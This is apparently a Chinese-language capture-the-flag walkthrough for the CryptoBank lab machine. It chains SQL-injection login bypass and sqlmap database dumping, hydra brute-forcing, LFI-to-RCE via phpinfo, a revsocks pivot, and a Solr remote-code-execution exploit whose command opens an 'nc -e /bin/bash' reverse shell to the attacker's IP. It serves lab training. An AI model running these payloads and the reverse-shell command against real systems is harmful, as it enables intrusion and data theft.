CryptoBank靶机渗透测试

001

 

靶机下载地址及配置

cryptobank靶机下载地址
cryptobank靶机IP: 192.168.56.132(cryptobank.local)
kali攻击机IP: 192.168.56.116

 

知识点及工具

nmap
sqlmap
dirb
sql注入
代理
apache solr RCE

 

实战渗透

首先第一步对目标靶机IP进行网络端口服务扫描

nmap -A -p- 192.168.56.132

002
扫描结果显示目标端口开放了22(ssh),80(http)端口,访问80web服务
http://192.168.56.132
003
点击访问其他得链接发现解析不了需添加hosts,界面暂无发现好东西,对目录进行了扫描,可以看见有development(http登录),info.php(phpinfo信息),trade(登录界面)
004
接下来就转向了trade登录界面,使用常见用户名admin,root,test尝试登录看看是否为弱口令,登录出错提示信息”Login Failed! Wrong username or password”
005
突然有想法尝试万能密码了 binggo 登录成功 ‘or’=’or’
006
007
登录成功后我也没发现什么其他的,还是sql注入。用sqlmap跑一跑用户名跟密码吧,后面肯定是要用到账号的。
先抓取登录的包

POST /trade/login_auth.php HTTP/1.1
Host: cryptobank.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://cryptobank.local/trade/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Connection: close
Cookie: PHPSESSID=po43jcjcj6f8edvsp8qrjvltdj
Upgrade-Insecure-Requests: 1

user=admin&pass=admin&login=Login

接下来sqlmap直接开干

sqlmap -u "http://cryptobank.local/trade/login_auth.php" --data="login=Login&pass=admin&user=admin" -p pass --random-agent --dbs


可以看到靶机存在5张表,数据库类型为mysql
由于靶机标题为cryptobank所有要用到的表肯定也是cryptobank表,爆爆爆

sqlmap -u "http://cryptobank.local/trade/login_auth.php" --data="login=Login&pass=admin&user=admin" -p pass --random-agent --dbms=mysql -D cryptobank --tables

009

此用户账号在acccounts里,列出列名

sqlmap -u "http://cryptobank.local/trade/login_auth.php" --data="login=Login&pass=admin&user=admin" -p pass --random-agent --dbms=mysql -D cryptobank -T accounts --dump

010
得到了这么多账号密码,随便拿一个可以直接登录
拿着这些密码,ssh爆破一番没有结果,接下来转向了develpoment目录
访问登录提示需要开发人员登录,对这个develpoment目录用这些账号密码也尝试了一次,发现开发人员的账户不在这个里面,须再找
011

在首页看见了一个团队各员工的职位,看到了development人员
012
点击邮件按钮,发现一个疑似用户名,猜测julius.b/juliusbook为用户名
013
然后添加到用户字典中,再次进行爆破

hydra -L bankuser.txt -P bankpassword.txt -f cryptobank.local http-get /develpoment

014
账号密码登录之后就看到一句话only for develpoment,没其他的了吗,我还不信,好不容易找到账号密码登录
015
再次对目录扫描一遍,这个扫描需要登录之后有身份验证才能扫描出来,再次进行抓包拿到验证身份,使用dirbuster扫描,添加headers
016
扫描到了一个tools目录
017
访问之后,有三个功能(代码执行,系统文件,文件上传)
018
第一个看见文件上传了 心理有点小激动,点击打开了,我直接上传php,发现被防火墙拦截了,只能上传png文件,尝试绕过了一些方法,但是没有绕过去,TCL
019
命令执行那个有个登录,就没搞了,点开系统文件的,发现地址栏有file=谁谁谁,想到LFI本地文件包含
http://cryptobank.local/development/tools/FileInclusion/pages/fetchmeafile.php?file=file.txt
020
/etc/password,/etc/hosts等都被墙了,但是他能读到具体的某些文件/vr/www/cryptobank/info.php
021
管他墙不墙的了,正好这个phpinfo可以想起LFI-phpinfo利用,https://dl.packetstormsecurity.net/papers/general/LFI_With_PHPInfo_Assitance.pdf

github搜索找到了一个RCE
修改一下配置参数,这里记得加上身份认证,我当时没加弄得我作死了很久

$ip = '192.168.56.116';
REQ1="""POST /info.php?a="""+padding+""" HTTP/1.1r
LFIREQ="""GET /development/tools/FileInclusion/pages/fetchmeafile.php?file=%s HTTP/1.1r
添加 Authorization: Basic anVsaXVzLmI6d0pXbTRDZ1YyNg==

022
然后直接利用,可以看到成功反弹shell
023
读取cryptobank用户下的flag.txt
024
接下来就是提权为某用户身份了,上传一个LinEnum.sh脚本让他自己跑一下,在开放端口处发现一个地址开放了一个8983的端口,猜测应该是solr
025
因为不是本地的,看着像是docker的,所以现在给代理出来,这里代理我用了这个revsocks工具,可以根据自己系统下载对应版本
在kali开启监听

./revsocks_linux_amd64 -listen :8088 -socks 0.0.0.0:1080 -pass cryptobank

026
在靶机执行

./revsocks_linux_amd64 -connect 192.168.56.116:8088 -pass cryptobank

027

代理已经开启,接下来就要在浏览器或者proxychain设置一下才能用哦
火狐浏览器代理配置
028
proxychain配置
029
浏览器访问地址,没想到还真是solr http://172.17.0.1:8983/
030
二话没说,去年有个模板远程代码执行,听说win的有个0day哟,嘿嘿

proxychains python solr_rce.py 172.17.0.1 8983 "nc -e /bin/bash 192.168.56.116 1234"

031
已成功利用,输入id查看身份,可sudo哟,还真的免密登录。
032
最后靶机就完成了,哦耶

(完)